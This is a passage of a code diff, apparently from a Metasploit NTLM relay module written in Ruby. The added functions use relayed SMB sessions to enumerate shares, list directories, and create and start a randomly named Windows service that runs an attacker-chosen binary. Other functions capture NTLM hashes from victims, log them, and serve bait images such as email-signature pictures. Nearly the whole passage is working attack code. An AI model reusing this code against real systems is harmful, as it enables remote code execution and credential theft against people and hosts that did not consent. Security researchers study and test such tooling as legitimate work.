+	#This could be improved by using techniques from SMB_ENUMSHARES
  430
+	def smb_enum(ser_sock)
  431
+		shares = []
  432
+		datastore["SMB_SHARES"].split(",").each do |share_name|
  433
+			begin
  434
+				ser_sock.client.tree_connect(share_name)
  435
+				shares << share_name
  436
+			rescue
  437
+				next
  438
+			end
  439
+		end
  440
+		print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}")
  441
+		return shares
  442
+	end
  443
+
  444
+	#smb list directory
  445
+	def smb_ls(ser_sock)
  446
+		share, path = datastore['RURIPATH'].split('\\', 2)
  447
+		ser_sock.client.tree_connect(share)
  448
+		files = ser_sock.client.find_first(path << "\\*")
  449
+
  450
+		print_status(
  451
+			"Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}"
  452
+		)
  453
+
  454
+		if datastore["VERBOSE"]
  455
+			files.each {|filename| print_status("    #{filename[0]}")}
  456
+		end
  457
+		return files
  458
+	end
  459
+
  460
+	#start a service. This methos copies a lot of logic/code from psexec (and smb_relay)
  461
+	def smb_pwn(ser_sock, cli_sock)
  462
+
  463
+		#filename is a little finicky, it needs to be in a format like
  464
+		#"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe
  465
+		filename = datastore['RURIPATH']
  466
+
  467
+		ser_sock.connect("IPC$")
  468
+		opts = {
  469
+			'Msf' => framework,
  470
+			'MsfExploit' => self,
  471
+			'smb_pipeio' => 'rw',
  472
+			'smb_client' => ser_sock
  473
+		}
  474
+		uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
  475
+		handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"])
  476
+		dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
  477
+
  478
+		print_status("Obtraining a service manager handle...")
  479
+		stubdata =
  480
+			NDR.uwstring("\\\\#{datastore["RHOST"]}") +
  481
+			NDR.long(0) +
  482
+			NDR.long(0xF003F)
  483
+		begin
  484
+			response = dcerpc.call(0x0f, stubdata)
  485
+			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  486
+				scm_handle = dcerpc.last_response.stub_data[0,20]
  487
+			end
  488
+		rescue ::Exception => e
  489
+			print_error("Error: #{e}")
  490
+			return
  491
+		end
  492
+
  493
+		print_status("Creating a new service")
  494
+
  495
+		servicename = Rex::Text::rand_text_alpha(8)
  496
+		displayname = Rex::Text::rand_text_alpha(rand(32)+1)
  497
+		svc_handle = nil
  498
+
  499
+		stubdata =
  500
+			scm_handle +
  501
+			NDR.wstring(servicename) +
  502
+			NDR.uwstring(displayname) +
  503
+			NDR.long(0x0F01FF) + # Access: MAX
  504
+			NDR.long(0x00000110) + # Type: Interactive, Own process
  505
+			NDR.long(0x00000003) + # Start: Demand
  506
+			NDR.long(0x00000000) + # Errors: Ignore
  507
+
  508
+			NDR.wstring(filename) + # Binary Path
  509
+			NDR.long(0) + # LoadOrderGroup
  510
+			NDR.long(0) + # Dependencies
  511
+			NDR.long(0) + # Service Start
  512
+			NDR.long(0) + # Password
  513
+			NDR.long(0) + # Password
  514
+			NDR.long(0) + # Password
  515
+			NDR.long(0)   # Password
  516
+
  517
+		begin
  518
+				response = dcerpc.call(0x0c, stubdata)
  519
+				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  520
+						svc_handle = dcerpc.last_response.stub_data[0,20]
  521
+						svc_status = dcerpc.last_response.stub_data[24,4]
  522
+				end
  523
+		rescue ::Exception => e
  524
+				print_error("Error: #{e}")
  525
+				return
  526
+		end
  527
+
  528
+		print_status("Closing service handle...")
  529
+		begin
  530
+			response = dcerpc.call(0x0, svc_handle)
  531
+		rescue ::Exception
  532
+		end
  533
+
  534
+		print_status("Opening service...")
  535
+		begin
  536
+			stubdata =
  537
+					scm_handle +
  538
+					NDR.wstring(servicename) +
  539
+					NDR.long(0xF01FF)
  540
+
  541
+			response = dcerpc.call(0x10, stubdata)
  542
+			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  543
+				svc_handle = dcerpc.last_response.stub_data[0,20]
  544
+			end
  545
+		rescue ::Exception => e
  546
+			print_error("Error: #{e}")
  547
+			return
  548
+		end
  549
+
  550
+		print_status("Starting the service...")
  551
+		stubdata =
  552
+			svc_handle +
  553
+			NDR.long(0) +
  554
+			NDR.long(0)
  555
+		begin
  556
+			response = dcerpc.call(0x13, stubdata)
  557
+			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  558
+			end
  559
+		rescue ::Exception => e
  560
+			return
  561
+		end
  562
+
  563
+		print_status("Removing the service...")
  564
+		stubdata =
  565
+			svc_handle
  566
+		begin
  567
+			response = dcerpc.call(0x02, stubdata)
  568
+			if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
  569
+			end
  570
+		rescue ::Exception => e
  571
+			print_error("Error: #{e}")
  572
+		end
  573
+
  574
+		print_status("Closing service handle...")
  575
+		begin
  576
+			response = dcerpc.call(0x0, svc_handle)
  577
+		rescue ::Exception => e
  578
+			print_error("Error: #{e}")
  579
+		end
  580
+
  581
+		ser_sock.disconnect("IPC$")
  582
+	end
  583
+
  584
+	#print status, and add to the info database
  585
+	def report_info(resp, type3_hash)
  586
+		data = get_hash_info(type3_hash)
  587
+
  588
+		#no need to generically always grab everything, but grab common config options
  589
+		#and the response, some may be set to nil and that's fine
  590
+		data[:protocol] = datastore['RTYPE']
  591
+		data[:RHOST] = datastore['RHOST']
  592
+		data[:RPORT] = datastore['RPORT']
  593
+		data[:RURI] = datastore['RURIPATH']
  594
+		data[:SYNCID] = datastore['SYNCID']
  595
+		data[:Response] = resp
  596
+
  597
+		report_note(
  598
+			:host => data[:ip],
  599
+			:type => 'ntlm_relay',
  600
+			:update => 'unique_data',
  601
+			:data => data
  602
+		)
  603
+	end
  604
+
  605
+	#mostly taken from http_ntlm module handle_auth function
  606
+	def get_hash_info(type3_hash)
  607
+		#authorization string is base64 encoded message
  608
+		domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
  609
+		nt_len = ntlm_hash.length
  610
+
  611
+		if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
  612
+			arg = {	:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
  613
+				:lm_hash => lm_hash,
  614
+				:nt_hash => ntlm_hash
  615
+			}
  616
+
  617
+			if arg[:lm_hash][16,32] == '0' * 32
  618
+				arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
  619
+			end
  620
+		#if the length of the ntlm response is not 24 then it will be bigger and represent
  621
+		#a ntlmv2 response
  622
+		elsif nt_len > 48 #lmv2/ntlmv2
  623
+			arg = {	:ntlm_ver 		=> NTLM_CONST::NTLM_V2_RESPONSE,
  624
+				:lm_hash 		=> lm_hash[0, 32],
  625
+				:lm_cli_challenge 	=> lm_hash[32, 16],
  626
+				:nt_hash 		=> ntlm_hash[0, 32],
  627
+				:nt_cli_challenge 	=> ntlm_hash[32, nt_len  - 32]
  628
+			}
  629
+		elsif nt_len == 0
  630
+			print_status("Empty hash from #{host} captured, ignoring ... ")
  631
+		else
  632
+			print_status("Unknow hash type from #{host}, ignoring ...")
  633
+		end
  634
+
  635
+		arg[:host] = host
  636
+		arg[:user] = user
  637
+		arg[:domain] = domain
  638
+
  639
+		return arg
  640
+	end
  641
+
  642
+	#function allowing some basic/common configuration in responses
  643
+	def set_cli_200resp()
  644
+		response = create_response(200, "OK")
  645
+		response.headers['Proxy-Support'] = 'Session-Based-Authentication'
  646
+
  647
+		if (datastore['RESPPAGE'] != nil)
  648
+			begin
  649
+				respfile = File.open(datastore['RESPPAGE'], "rb")
  650
+				response.body = respfile.read
  651
+				respfile.close
  652
+
  653
+				type = datastore['RESPPAGE'].split('.')[-1].downcase
  654
+				#images can be especially useful (e.g. in email signatures)
  655
+				case type
  656
+				when 'png', 'gif', 'jpg', 'jpeg'
  657
+					print_status('setting content type to image')
  658
+					response.headers['Content-Type'] = "image/" << type
  659
+				end
  660
+			rescue
  661
+				print_error("Problem processing respfile. Continuing...")
  662
+			end
  663
+		end
  664
+		if (response.body.empty?)
  665
+			response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
  666
+		end
  667
+		return response
  668
+	end
  669
+end
Commit_comment_tip

Tip: You can add notes to lines in a file. Hover to the left of a line to make a note

Something went wrong with that request. Please try again.